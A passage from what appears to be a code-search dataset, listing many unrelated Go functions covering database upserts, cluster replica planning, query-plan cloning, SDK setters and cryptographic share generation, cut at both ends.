check.\n\t\tlocalHash := hash.GetHash(record.MarshaledShareRecord)\n\t\tif !bytes.Equal(record.Hash[:], localHash[:]) {\n\t\t\treturn fmt.Errorf(\"local hash doesn't match given hash in record, expected: %x, got: %x\",\n\t\t\t\tlocalHash[:], record.Hash[:])\n\t\t}\n\n\t\tvar h hash.Hash\n\t\tif copied := copy(h[:], record.Hash[:]); copied != 32 {\n\t\t\treturn fmt.Errorf(\"wrong number of bytes copied in hash (dealer:%s) %x: %d\",\n\t\t\t\trecord.Dealer.String(), record.Hash[:], copied)\n\t\t}\n\n\t\tnamed = append(named, dkgShare{\n\t\t\tConfigDigest: cfgDgst[:],\n\t\t\tKeyID: keyID[:],\n\t\t\tDealer: record.Dealer.Marshal(),\n\t\t\tMarshaledShareRecord: record.MarshaledShareRecord,\n\t\t\t/* TODO/WTF: can't do \"record.Hash[:]\": this leads to store the last record's hash for all the records! */\n\t\t\tRecordHash: h[:],\n\t\t})\n\t}\n\n\tif len(named) == 0 {\n\t\tlggr.Infow(\"No valid share records to insert\")\n\t\treturn nil\n\t}\n\n\t// see ocr2vrf for logging\n\t// lggr.Infow(\"Inserting DKG shares into DB\",\n\t// \t\"shareHashes\", shareHashes(shareRecords),\n\t// \t\"numRecords\", len(shareRecords),\n\t// \t\"numNamed\", len(named))\n\n\t// Always upsert because we want the number of rows in the table to match\n\t// the number of members of the committee.\n\tquery := `\nINSERT INTO dkg_shares (config_digest, key_id, dealer, marshaled_share_record, record_hash)\nVALUES (:config_digest, :key_id, :dealer, :marshaled_share_record, :record_hash)\nON CONFLICT ON CONSTRAINT dkg_shares_pkey\nDO UPDATE SET marshaled_share_record = EXCLUDED.marshaled_share_record, record_hash = EXCLUDED.record_hash\n`\n\treturn s.q.ExecQNamed(query, named[:])\n}","func (item *queueItem) setIndexState(state indexState) {\n\tif state == item.indexState {\n\t\treturn\n\t}\n\tif item.indexState != \"\" {\n\t\tmetricIndexState.WithLabelValues(string(item.indexState)).Dec()\n\t}\n\titem.indexState = state\n\tif item.indexState != \"\" {\n\t\tmetricIndexState.WithLabelValues(string(item.indexState)).Inc()\n\t}\n}","func (s *storageMgr) updateIndexSnapMap(indexPartnMap IndexPartnMap,\n\tstreamId common.StreamId, keyspaceId string) {\n\n\ts.muSnap.Lock()\n\tdefer s.muSnap.Unlock()\n\n\tfor idxInstId, partnMap := range indexPartnMap {\n\t\tidxInst := s.indexInstMap.Get()[idxInstId]\n\t\ts.updateIndexSnapMapForIndex(idxInstId, idxInst, partnMap, streamId, keyspaceId)\n\t}\n}","func (p *Planner) Plan(replicasToDistribute int64, availableClusters []string) map[string]int64 {\n\tpreferences := make([]*namedClusterReplicaSetPreferences, 0, len(availableClusters))\n\tplan := make(map[string]int64, len(preferences))\n\n\tnamed := func(name string, pref fed_api.ClusterReplicaSetPreferences) *namedClusterReplicaSetPreferences {\n\t\treturn &namedClusterReplicaSetPreferences{\n\t\t\tclusterName: name,\n\t\t\tClusterReplicaSetPreferences: pref,\n\t\t}\n\t}\n\n\tfor _, cluster := range availableClusters {\n\t\tif localRSP, found := p.preferences.Clusters[cluster]; found {\n\t\t\tpreferences = append(preferences, named(cluster, localRSP))\n\t\t} else {\n\t\t\tif localRSP, found := p.preferences.Clusters[\"*\"]; found {\n\t\t\t\tpreferences = append(preferences, named(cluster, localRSP))\n\t\t\t} else {\n\t\t\t\tplan[cluster] = int64(0)\n\t\t\t}\n\t\t}\n\t}\n\tsort.Sort(byWeight(preferences))\n\n\tremainingReplicas := replicasToDistribute\n\n\t// Assign each cluster the minimum number of replicas it requested.\n\tfor _, preference := range preferences {\n\t\tmin := minInt64(preference.MinReplicas, remainingReplicas)\n\t\tremainingReplicas -= min\n\t\tplan[preference.clusterName] = min\n\t}\n\n\tmodified := true\n\n\t// It is possible single pass of the loop is not enough to distribue all replicas among clusters due\n\t// to weight, max and rounding corner cases. In such case we iterate until either\n\t// there is no replicas or no cluster gets any more replicas or the number\n\t// of attempts is less than available cluster count. Every loop either distributes all remainingReplicas\n\t// or maxes out at least one cluster.\n\t// TODO: This algorithm is O(clusterCount^2). When needed use sweep-like algorithm for O(n log n).\n\tfor trial := 0; trial < len(availableClusters) && modified && remainingReplicas > 0; trial++ {\n\t\tmodified = false\n\t\tweightSum := int64(0)\n\t\tfor _, preference := range preferences {\n\t\t\tweightSum += preference.Weight\n\t\t}\n\t\tnewPreferences := make([]*namedClusterReplicaSetPreferences, 0, len(preferences))\n\n\t\tdistributeInThisLoop := remainingReplicas\n\t\tfor _, preference := range preferences {\n\t\t\tif weightSum > 0 {\n\t\t\t\tstart := plan[preference.clusterName]\n\t\t\t\t// Distribute the remaining replicas, rounding fractions always up.\n\t\t\t\textra := (distributeInThisLoop*preference.Weight + weightSum - 1) / weightSum\n\t\t\t\textra = minInt64(extra, remainingReplicas)\n\t\t\t\t// In total there should be the amount that was there at start plus whatever is due\n\t\t\t\t// in this iteration\n\t\t\t\ttotal := start + extra\n\n\t\t\t\t// Check if we don't overflow the cluster, and if yes don't consider this cluster\n\t\t\t\t// in any of the following iterations.\n\t\t\t\tif preference.MaxReplicas != nil && total > *preference.MaxReplicas {\n\t\t\t\t\ttotal = *preference.MaxReplicas\n\t\t\t\t} else {\n\t\t\t\t\tnewPreferences = append(newPreferences, preference)\n\t\t\t\t}\n\n\t\t\t\t// Only total-start replicas were actually taken.\n\t\t\t\tremainingReplicas -= (total - start)\n\t\t\t\tplan[preference.clusterName] = total\n\n\t\t\t\t// Something extra got scheduled on this cluster.\n\t\t\t\tif total > start {\n\t\t\t\t\tmodified = true\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tpreferences = newPreferences\n\t}\n\n\treturn plan\n}","func (p *PhysicalIndexLookUpReader) Clone() (PhysicalPlan, error) {\n\tcloned := new(PhysicalIndexLookUpReader)\n\tbase, err := p.physicalSchemaProducer.cloneWithSelf(cloned)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcloned.physicalSchemaProducer = *base\n\tif cloned.IndexPlans, err = clonePhysicalPlan(p.IndexPlans); err != nil {\n\t\treturn nil, err\n\t}\n\tif cloned.TablePlans, err = clonePhysicalPlan(p.TablePlans); err != nil {\n\t\treturn nil, err\n\t}\n\tif cloned.indexPlan, err = p.indexPlan.Clone(); err != nil {\n\t\treturn nil, err\n\t}\n\tif cloned.tablePlan, err = p.tablePlan.Clone(); err != nil {\n\t\treturn nil, err\n\t}\n\tif p.ExtraHandleCol != nil {\n\t\tcloned.ExtraHandleCol = p.ExtraHandleCol.Clone().(*expression.Column)\n\t}\n\tif p.PushedLimit != nil {\n\t\tcloned.PushedLimit = p.PushedLimit.Clone()\n\t}\n\treturn cloned, nil\n}","func (o ServiceBusQueueOutputDataSourceOutput) SharedAccessPolicyKey() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v ServiceBusQueueOutputDataSource) *string { return v.SharedAccessPolicyKey }).(pulumi.StringPtrOutput)\n}","func ShareLists(hrcSrvShare unsafe.Pointer, hrcSrvSource unsafe.Pointer) unsafe.Pointer {\n\tret, _, _ := syscall.Syscall(gpShareLists, 2, uintptr(hrcSrvShare), uintptr(hrcSrvSource), 0)\n\treturn (unsafe.Pointer)(ret)\n}","func (ouq *OrgUnitQuery) ForShare(opts ...sql.LockOption) *OrgUnitQuery {\n\tif ouq.driver.Dialect() == dialect.Postgres {\n\t\touq.Unique(false)\n\t}\n\touq.modifiers = append(ouq.modifiers, func(s *sql.Selector) {\n\t\ts.ForShare(opts...)\n\t})\n\treturn ouq\n}","func (r *ReconciliationTask) areSMPlansSame(plans []*types.ServicePlan) bool {\n\tcachedPlans, isPresent := r.cache.Get(smPlansCacheKey)\n\tif !isPresent {\n\t\treturn false\n\t}\n\tcachedPlansMap, ok := cachedPlans.(map[string]*types.ServicePlan)\n\tif !ok {\n\t\tlog.C(r.runContext).Error(\"SM plans cache is in invalid state! Clearing...\")\n\t\tr.cache.Delete(smPlansCacheKey)\n\t\treturn false\n\t}\n\tif len(cachedPlansMap) != len(plans) {\n\t\treturn false\n\t}\n\tfor _, plan := range plans {\n\t\tif cachedPlansMap[plan.ID] == nil {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}","func (_Ethdkg *EthdkgTransactorSession) SubmitKeyShare(issuer common.Address, key_share_G1 [2]*big.Int, key_share_G1_correctness_proof [2]*big.Int, key_share_G2 [4]*big.Int) (*types.Transaction, error) {\n\treturn _Ethdkg.Contract.SubmitKeyShare(&_Ethdkg.TransactOpts, issuer, key_share_G1, key_share_G1_correctness_proof, key_share_G2)\n}","func (m *VirtualEndpoint) GetSharedUseServicePlans()([]CloudPcSharedUseServicePlanable) {\n val, err := m.GetBackingStore().Get(\"sharedUseServicePlans\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.([]CloudPcSharedUseServicePlanable)\n }\n return nil\n}","func (e *Engine) setIndex(index int64) {\n\te.Index = index\n\te.Name = naming.Name(index)\n}","func (m *GroupPolicyDefinition) SetExplainText(value *string)() {\n err := m.GetBackingStore().Set(\"explainText\", value)\n if err != nil {\n panic(err)\n }\n}","func (_Mcapscontroller *McapscontrollerSession) PrepareIndexPool(categoryID *big.Int, indexSize *big.Int, initialWethValue *big.Int, name string, symbol string) (*types.Transaction, error) {\n\treturn _Mcapscontroller.Contract.PrepareIndexPool(&_Mcapscontroller.TransactOpts, categoryID, indexSize, initialWethValue, name, symbol)\n}","func (p Pin) Set(high bool) {\n\tport := p.getPort()\n\tpin := uint8(p) % 16\n\tif high {\n\t\tport.BSRR.Set(1 << pin)\n\t} else {\n\t\tport.BSRR.Set(1 << (pin + 16))\n\t}\n}"],"string":"[\n \"func (m *VirtualEndpoint) SetSharedUseServicePlans(value []CloudPcSharedUseServicePlanable)() {\\n err := m.GetBackingStore().Set(\\\"sharedUseServicePlans\\\", value)\\n if err != nil {\\n panic(err)\\n }\\n}\",\n \"func poolSetIndex(a interface{}, i int) {\\n\\ta.(*freeClientPoolEntry).index = i\\n}\",\n \"func (c Ctx) SetShared(k string, value interface{}) error {\\n\\t_, err := c.Ask(`kong.ctx.shared.set`, k, value)\\n\\treturn err\\n}\",\n \"func (self *SinglePad) SetIndexA(member int) {\\n self.Object.Set(\\\"index\\\", member)\\n}\",\n \"func (p *PhysicalIndexReader) SetSchema(_ *expression.Schema) {\\n\\tif p.indexPlan != nil {\\n\\t\\tp.IndexPlans = flattenPushDownPlan(p.indexPlan)\\n\\t\\tswitch p.indexPlan.(type) {\\n\\t\\tcase *PhysicalHashAgg, *PhysicalStreamAgg, *PhysicalProjection:\\n\\t\\t\\tp.schema = p.indexPlan.Schema()\\n\\t\\tdefault:\\n\\t\\t\\tis := p.IndexPlans[0].(*PhysicalIndexScan)\\n\\t\\t\\tp.schema = is.dataSourceSchema\\n\\t\\t}\\n\\t\\tp.OutputColumns = p.schema.Clone().Columns\\n\\t}\\n}\",\n \"func (s UserSet) SetShare(value bool) {\\n\\ts.RecordCollection.Set(models.NewFieldName(\\\"Share\\\", \\\"share\\\"), value)\\n}\",\n \"func (pp *PermuteProtocol) GenShares(sk *ring.Poly, ciphertext *bfv.Ciphertext, crs *ring.Poly, permutation []uint64, share RefreshShare) {\\n\\n\\tlevel := len(ciphertext.Value()[1].Coeffs) - 1\\n\\n\\tringQ := pp.context.ringQ\\n\\tringT := pp.context.ringT\\n\\tringQP := pp.context.ringQP\\n\\n\\t// h0 = s*ct[1]\\n\\tringQ.NTTLazy(ciphertext.Value()[1], pp.tmp1)\\n\\tringQ.MulCoeffsMontgomeryConstant(sk, pp.tmp1, share.RefreshShareDecrypt)\\n\\tringQ.InvNTTLazy(share.RefreshShareDecrypt, share.RefreshShareDecrypt)\\n\\n\\t// h0 = s*ct[1]*P\\n\\tringQ.MulScalarBigint(share.RefreshShareDecrypt, pp.context.ringP.ModulusBigint, share.RefreshShareDecrypt)\\n\\n\\t// h0 = s*ct[1]*P + e\\n\\tpp.gaussianSampler.ReadLvl(len(ringQP.Modulus)-1, pp.tmp1, ringQP, pp.sigma, int(6*pp.sigma))\\n\\tringQ.Add(share.RefreshShareDecrypt, pp.tmp1, share.RefreshShareDecrypt)\\n\\n\\tfor x, i := 0, len(ringQ.Modulus); i < len(pp.context.ringQP.Modulus); x, i = x+1, i+1 {\\n\\t\\ttmphP := pp.hP.Coeffs[x]\\n\\t\\ttmp1 := pp.tmp1.Coeffs[i]\\n\\t\\tfor j := 0; j < ringQ.N; j++ {\\n\\t\\t\\ttmphP[j] += tmp1[j]\\n\\t\\t}\\n\\t}\\n\\n\\t// h0 = (s*ct[1]*P + e)/P\\n\\tpp.baseconverter.ModDownSplitPQ(level, share.RefreshShareDecrypt, pp.hP, share.RefreshShareDecrypt)\\n\\n\\t// h1 = -s*a\\n\\tringQP.Neg(crs, pp.tmp1)\\n\\tringQP.NTTLazy(pp.tmp1, pp.tmp1)\\n\\tringQP.MulCoeffsMontgomeryConstant(sk, pp.tmp1, pp.tmp2)\\n\\tringQP.InvNTTLazy(pp.tmp2, pp.tmp2)\\n\\n\\t// h1 = s*a + e'\\n\\tpp.gaussianSampler.ReadAndAdd(pp.tmp2, ringQP, pp.sigma, int(6*pp.sigma))\\n\\n\\t// h1 = (-s*a + e')/P\\n\\tpp.baseconverter.ModDownPQ(level, pp.tmp2, share.RefreshShareRecrypt)\\n\\n\\t// mask = (uniform plaintext in [0, T-1]) * floor(Q/T)\\n\\n\\t// Mask in the time domain\\n\\tcoeffs := pp.uniformSampler.ReadNew()\\n\\n\\t// Multiply by Q/t\\n\\tlift(coeffs, pp.tmp1, pp.context)\\n\\n\\t// h0 = (s*ct[1]*P + e)/P + mask\\n\\tringQ.Add(share.RefreshShareDecrypt, pp.tmp1, share.RefreshShareDecrypt)\\n\\n\\t// Mask in the spectral domain\\n\\tringT.NTT(coeffs, coeffs)\\n\\n\\t// Permutation over the mask\\n\\tpp.permuteWithIndex(coeffs, permutation, pp.tmp1)\\n\\n\\t// Switch back the mask in the time domain\\n\\tringT.InvNTTLazy(pp.tmp1, coeffs)\\n\\n\\t// Multiply by Q/t\\n\\tlift(coeffs, pp.tmp1, pp.context)\\n\\n\\t// h1 = (-s*a + e')/P - permute(mask)\\n\\tringQ.Sub(share.RefreshShareRecrypt, pp.tmp1, share.RefreshShareRecrypt)\\n}\",\n \"func (s *Service) PubShare(c context.Context, pid, aid int64) (err error) {\\n\\tvar (\\n\\t\\tpls *model.PlStat\\n\\t\\tip = metadata.String(c, metadata.RemoteIP)\\n\\t)\\n\\tif pls, err = s.plInfo(c, 0, pid, ip); err != nil {\\n\\t\\treturn\\n\\t}\\n\\t//TODO aid in playlist\\n\\terr = s.cache.Save(func() {\\n\\t\\ts.dao.PubShare(context.Background(), pid, aid, pls.Share)\\n\\t})\\n\\treturn\\n}\",\n \"func (t *BenchmarkerChaincode) updateIndex(stub shim.ChaincodeStubInterface, key, indexName string, indexValueSpace [][]string) error {\\n\\tif indexName == \\\"\\\" {\\n\\t\\treturn nil\\n\\t}\\n\\n\\tvar indexValues []string\\n\\tfor _, validValues := range indexValueSpace {\\n\\t\\tchoice := rand.Intn(len(validValues))\\n\\t\\tindexValues = append(indexValues, validValues[choice])\\n\\t}\\n\\n\\tindexKey, err := stub.CreateCompositeKey(indexName+\\\"~id\\\", append(indexValues, key))\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvalue := []byte{0x00}\\n\\tif err := stub.PutState(indexKey, value); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfmt.Printf(\\\"Set composite key '%s' to '%s' for key '%s'\\\\n\\\", indexKey, value, key)\\n\\n\\treturn nil\\n}\",\n \"func (p *PhysicalIndexScan) Clone() (PhysicalPlan, error) {\\n\\tcloned := new(PhysicalIndexScan)\\n\\t*cloned = *p\\n\\tbase, err := p.physicalSchemaProducer.cloneWithSelf(cloned)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tcloned.physicalSchemaProducer = *base\\n\\tcloned.AccessCondition = util.CloneExprs(p.AccessCondition)\\n\\tif p.Table != nil {\\n\\t\\tcloned.Table = p.Table.Clone()\\n\\t}\\n\\tif p.Index != nil {\\n\\t\\tcloned.Index = p.Index.Clone()\\n\\t}\\n\\tcloned.IdxCols = util.CloneCols(p.IdxCols)\\n\\tcloned.IdxColLens = make([]int, len(p.IdxColLens))\\n\\tcopy(cloned.IdxColLens, p.IdxColLens)\\n\\tcloned.Ranges = util.CloneRanges(p.Ranges)\\n\\tcloned.Columns = util.CloneColInfos(p.Columns)\\n\\tif p.dataSourceSchema != nil {\\n\\t\\tcloned.dataSourceSchema = p.dataSourceSchema.Clone()\\n\\t}\\n\\n\\treturn cloned, nil\\n}\",\n \"func (rtg *RTGProtocol) GenShare(sk *rlwe.SecretKey, galEl uint64, crp []*ring.Poly, shareOut *RTGShare) {\\n\\n\\ttwoN := rtg.ringQP.N << 2\\n\\tgalElInv := ring.ModExp(galEl, int(twoN-1), uint64(twoN))\\n\\n\\tring.PermuteNTT(sk.Value, galElInv, rtg.tmpPoly[1])\\n\\n\\trtg.ringQP.MulScalarBigint(sk.Value, rtg.ringPModulusBigint, rtg.tmpPoly[0])\\n\\n\\tvar index int\\n\\n\\tfor i := 0; i < rtg.beta; i++ {\\n\\n\\t\\t// e\\n\\t\\trtg.gaussianSampler.Read(shareOut.Value[i], rtg.ringQP, rtg.sigma, int(6*rtg.sigma))\\n\\t\\trtg.ringQP.NTTLazy(shareOut.Value[i], shareOut.Value[i])\\n\\t\\trtg.ringQP.MForm(shareOut.Value[i], shareOut.Value[i])\\n\\n\\t\\t// a is the CRP\\n\\n\\t\\t// e + sk_in * (qiBarre*qiStar) * 2^w\\n\\t\\t// (qiBarre*qiStar)%qi = 1, else 0\\n\\t\\tfor j := 0; j < rtg.alpha; j++ {\\n\\n\\t\\t\\tindex = i*rtg.alpha + j\\n\\n\\t\\t\\tqi := rtg.ringQP.Modulus[index]\\n\\t\\t\\ttmp0 := rtg.tmpPoly[0].Coeffs[index]\\n\\t\\t\\ttmp1 := shareOut.Value[i].Coeffs[index]\\n\\n\\t\\t\\tfor w := 0; w < rtg.ringQP.N; w++ {\\n\\t\\t\\t\\ttmp1[w] = ring.CRed(tmp1[w]+tmp0[w], qi)\\n\\t\\t\\t}\\n\\n\\t\\t\\t// Handles the case where nb pj does not divides nb qi\\n\\t\\t\\tif index >= rtg.ringQModCount {\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\t// sk_in * (qiBarre*qiStar) * 2^w - a*sk + e\\n\\t\\trtg.ringQP.MulCoeffsMontgomeryAndSub(crp[i], rtg.tmpPoly[1], shareOut.Value[i])\\n\\t}\\n\\n\\trtg.tmpPoly[0].Zero()\\n\\trtg.tmpPoly[1].Zero()\\n\\n\\treturn\\n}\",\n \"func setSharedRepoSQL(readDB, writeDB *sql.DB) {\\n\\tglobalRepoSQL = NewRepositorySQL(readDB, writeDB, nil)\\n}\",\n \"func (m *RecurrencePattern) SetIndex(value *WeekIndex)() {\\n m.index = value\\n}\",\n \"func (vars *shared) SetSharedVar(n, v string) error {\\n\\tvars.Lock()\\n\\tdefer vars.Unlock()\\n\\tvars.vars[n] = v\\n\\treturn nil\\n}\",\n \"func (p *PhysicalIndexReader) Clone() (PhysicalPlan, error) {\\n\\tcloned := new(PhysicalIndexReader)\\n\\tbase, err := p.physicalSchemaProducer.cloneWithSelf(cloned)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tcloned.physicalSchemaProducer = *base\\n\\tif cloned.indexPlan, err = p.indexPlan.Clone(); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tif cloned.IndexPlans, err = clonePhysicalPlan(p.IndexPlans); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tcloned.OutputColumns = util.CloneCols(p.OutputColumns)\\n\\treturn cloned, err\\n}\",\n \"func (op *ListSharedAccessOp) Shared(val string) *ListSharedAccessOp {\\n\\tif op != nil {\\n\\t\\top.QueryOpts.Set(\\\"shared\\\", val)\\n\\t}\\n\\treturn op\\n}\",\n \"func (m *ScheduleRequestBuilder) Share()(*i2547a7f1d67b3d63ac7cd6ad852788ce52638547a6ec23de203e52fa44a92944.ShareRequestBuilder) {\\n return i2547a7f1d67b3d63ac7cd6ad852788ce52638547a6ec23de203e52fa44a92944.NewShareRequestBuilderInternal(m.pathParameters, m.requestAdapter);\\n}\",\n \"func (access ColumnAccess) SharedIndex(localIndex int) int {\\n return access.indices[localIndex]\\n}\",\n \"func (m *Planner) SetPlans(value []PlannerPlanable)() {\\n m.plans = value\\n}\",\n \"func (ei ei) Share(cfg upspin.Config, readers []upspin.PublicKey, packdata []*[]byte) {\\n}\",\n \"func (m *BusinessScenarioPlanner) SetPlanConfiguration(value PlannerPlanConfigurationable)() {\\n err := m.GetBackingStore().Set(\\\"planConfiguration\\\", value)\\n if err != nil {\\n panic(err)\\n }\\n}\",\n \"func indexWrite(key string, p *pkg) {\\n\\tlocker.Lock()\\n\\tdefer locker.Unlock()\\n\\n\\tindexedPkgs[key] = p\\n}\",\n \"func (pm *PathMap) _markShared() {\\n\\t// We make use of the fact that pm.shared is made true only via this\\n\\t// function, and that it is never reset to false (In new snapshots it\\n\\t// will be false of course). In particular, if pm.shared is already\\n\\t// true, there is no need to recurse.\\n\\tif !pm.shared {\\n\\t\\tpm.shared = true\\n\\t\\tfor _, v := range pm.dirs {\\n\\t\\t\\tv._markShared()\\n\\t\\t}\\n\\t}\\n}\",\n \"func (m *VirtualEndpoint) SetServicePlans(value []CloudPcServicePlanable)() {\\n err := m.GetBackingStore().Set(\\\"servicePlans\\\", value)\\n if err != nil {\\n panic(err)\\n }\\n}\",\n \"func (b *B) SetParallelism(p int)\",\n \"func SetIndexPageSize(dbo Database, pageSize int) error {\\n\\tdb := dbo.(*database)\\n\\tsql := db.getRawDB()\\n\\t_, err := sql.Exec(`insert into fts(fts, rank) values(\\\"pgsz\\\", ?)`, pageSize)\\n\\treturn err\\n}\",\n \"func (mc *MomentClient) Share(db DbRunnerTrans, s *SharesRow, rs []*RecipientsRow) (err error) {\\n\\tif len(rs) == 0 || s == nil {\\n\\t\\tError.Println(ErrorParameterEmpty)\\n\\t\\terr = ErrorParameterEmpty\\n\\t\\treturn\\n\\t}\\n\\n\\ttx, err := db.Begin()\\n\\tif err != nil {\\n\\t\\tError.Println(err)\\n\\t\\treturn\\n\\t}\\n\\tdefer func() {\\n\\t\\tif err != nil {\\n\\t\\t\\tif txerr := tx.Rollback(); txerr != nil {\\n\\t\\t\\t\\tError.Println(txerr)\\n\\t\\t\\t}\\n\\t\\t\\tError.Println(err)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\ttx.Commit()\\n\\t}()\\n\\n\\tid, err := insert(tx, s)\\n\\tif err != nil {\\n\\t\\tError.Println(err)\\n\\t}\\n\\ts.sharesID = id\\n\\n\\tfor _, r := range rs {\\n\\t\\tr.setSharesID(id)\\n\\t\\tif err = r.err; err != nil {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}\\n\\tif _, err = insert(tx, rs); err != nil {\\n\\t\\treturn\\n\\t}\\n\\treturn\\n}\",\n \"func (s UserSet) SetPartnerShare(value bool) {\\n\\ts.RecordCollection.Set(models.NewFieldName(\\\"PartnerShare\\\", \\\"partner_share\\\"), value)\\n}\",\n \"func GoShareEngine(config Config) {\\n\\truntime.GOMAXPROCS(runtime.NumCPU())\\n\\n\\t// remember it will be same DB instance shared across goshare package\\n\\tdb = abkleveldb.CreateDB(*config[\\\"dbpath\\\"])\\n\\tif *config[\\\"cpuprofile\\\"] != \\\"\\\" {\\n\\t\\tf, err := os.Create(*config[\\\"cpuprofile\\\"])\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Fatal(err)\\n\\t\\t}\\n\\t\\tpprof.StartCPUProfile(f)\\n\\t\\tgo func() {\\n\\t\\t\\ttime.Sleep(100 * time.Second)\\n\\t\\t\\tpprof.StopCPUProfile()\\n\\t\\t}()\\n\\t}\\n\\n\\t_httpport, err_httpport := strconv.Atoi(*config[\\\"httpport\\\"])\\n\\t_req_port, err_req_port := strconv.Atoi(*config[\\\"req_port\\\"])\\n\\t_rep_port, err_rep_port := strconv.Atoi(*config[\\\"rep_port\\\"])\\n\\tif err_httpport == nil && err_rep_port == nil && err_req_port == nil {\\n\\t\\tgo GoShareHTTP(*config[\\\"httpuri\\\"], _httpport)\\n\\t\\tgo GoShareZMQ(_req_port, _rep_port)\\n\\t} else {\\n\\t\\tgolerror.Boohoo(\\\"Port parameters to bind, error-ed while conversion to number.\\\", true)\\n\\t}\\n}\",\n \"func recalculateIndexerSize(plan *Plan) {\\n\\n\\tsizing := newMOISizingMethod()\\n\\n\\tfor _, indexer := range plan.Placement {\\n\\t\\tfor _, index := range indexer.Indexes {\\n\\t\\t\\tsizing.ComputeIndexSize(index)\\n\\t\\t}\\n\\t}\\n\\n\\tfor _, indexer := range plan.Placement {\\n\\t\\tsizing.ComputeIndexerSize(indexer)\\n\\t}\\n}\",\n \"func (evsq *ExValueScanQuery) ForShare(opts ...sql.LockOption) *ExValueScanQuery {\\n\\tif evsq.driver.Dialect() == dialect.Postgres {\\n\\t\\tevsq.Unique(false)\\n\\t}\\n\\tevsq.modifiers = append(evsq.modifiers, func(s *sql.Selector) {\\n\\t\\ts.ForShare(opts...)\\n\\t})\\n\\treturn evsq\\n}\",\n \"func ExampleShareSubscriptionsClient_NewListSourceShareSynchronizationSettingsPager() {\\n\\tcred, err := azidentity.NewDefaultAzureCredential(nil)\\n\\tif err != nil {\\n\\t\\tlog.Fatalf(\\\"failed to obtain a credential: %v\\\", err)\\n\\t}\\n\\tctx := context.Background()\\n\\tclientFactory, err := armdatashare.NewClientFactory(\\\"\\\", cred, nil)\\n\\tif err != nil {\\n\\t\\tlog.Fatalf(\\\"failed to create client: %v\\\", err)\\n\\t}\\n\\tpager := clientFactory.NewShareSubscriptionsClient().NewListSourceShareSynchronizationSettingsPager(\\\"SampleResourceGroup\\\", \\\"Account1\\\", \\\"ShareSub1\\\", &armdatashare.ShareSubscriptionsClientListSourceShareSynchronizationSettingsOptions{SkipToken: nil})\\n\\tfor pager.More() {\\n\\t\\tpage, err := pager.NextPage(ctx)\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Fatalf(\\\"failed to advance page: %v\\\", err)\\n\\t\\t}\\n\\t\\tfor _, v := range page.Value {\\n\\t\\t\\t// You could use page here. We use blank identifier for just demo purposes.\\n\\t\\t\\t_ = v\\n\\t\\t}\\n\\t\\t// If the HTTP response code is 200 as defined in example definition, your page structure would look as follows. Please pay attention that all the values in the output are fake values for just demo purposes.\\n\\t\\t// page.SourceShareSynchronizationSettingList = armdatashare.SourceShareSynchronizationSettingList{\\n\\t\\t// \\tValue: []armdatashare.SourceShareSynchronizationSettingClassification{\\n\\t\\t// \\t\\t&armdatashare.ScheduledSourceSynchronizationSetting{\\n\\t\\t// \\t\\t\\tKind: to.Ptr(armdatashare.SourceShareSynchronizationSettingKindScheduleBased),\\n\\t\\t// \\t\\t\\tProperties: &armdatashare.ScheduledSourceShareSynchronizationSettingProperties{\\n\\t\\t// \\t\\t\\t\\tRecurrenceInterval: to.Ptr(armdatashare.RecurrenceIntervalHour),\\n\\t\\t// \\t\\t\\t\\tSynchronizationTime: to.Ptr(func() time.Time { t, _ := time.Parse(time.RFC3339Nano, \\\"2019-03-15T19:45:58Z\\\"); return t}()),\\n\\t\\t// \\t\\t\\t},\\n\\t\\t// \\t}},\\n\\t\\t// }\\n\\t}\\n}\",\n \"func (i Index) Set(sourceID string, id int, table string, record *Record) {\\n\\tinfo := RecordInfo{\\n\\t\\tID: id,\\n\\t\\tTable: table,\\n\\t\\tRecord: record,\\n\\t}\\n\\n\\tsourceID = strings.ToLower(sourceID)\\n\\tsourceID = strings.TrimSpace(sourceID)\\n\\ti[sourceID] = info\\n}\",\n \"func (m *Printer) SetIsShared(value *bool)() {\\n err := m.GetBackingStore().Set(\\\"isShared\\\", value)\\n if err != nil {\\n panic(err)\\n }\\n}\",\n \"func (c *Client) ShareSecret() {\\n\\tgen := c.g.Point().Base()\\n\\trand := c.suite.RandomStream()\\n\\tsecret1 := c.g.Scalar().Pick(rand)\\n\\tsecret2 := c.g.Scalar().Pick(rand)\\n\\tpublic1 := c.g.Point().Mul(secret1, gen)\\n\\tpublic2 := c.g.Point().Mul(secret2, gen)\\n\\n\\t//generate share secrets via Diffie-Hellman w/ all servers\\n\\t//one used for masks, one used for one-time pad\\n\\tcs1 := ClientDH{\\n\\t\\tPublic: MarshalPoint(public1),\\n\\t\\tId: c.id,\\n\\t}\\n\\tcs2 := ClientDH{\\n\\t\\tPublic: MarshalPoint(public2),\\n\\t\\tId: c.id,\\n\\t}\\n\\n\\tmasks := make([][]byte, len(c.servers))\\n\\tsecrets := make([][]byte, len(c.servers))\\n\\n\\tvar wg sync.WaitGroup\\n\\tfor i, rpcServer := range c.rpcServers {\\n\\t\\twg.Add(1)\\n\\t\\tgo func(i int, rpcServer *rpc.Client, cs1 ClientDH, cs2 ClientDH) {\\n\\t\\t\\tdefer wg.Done()\\n\\t\\t\\tservPub1 := make([]byte, SecretSize)\\n\\t\\t\\tservPub2 := make([]byte, SecretSize)\\n\\t\\t\\tservPub3 := make([]byte, SecretSize)\\n\\t\\t\\tcall1 := rpcServer.Go(\\\"Server.ShareMask\\\", &cs1, &servPub1, nil)\\n\\t\\t\\tcall2 := rpcServer.Go(\\\"Server.ShareSecret\\\", &cs2, &servPub2, nil)\\n\\t\\t\\tcall3 := rpcServer.Go(\\\"Server.GetEphKey\\\", 0, 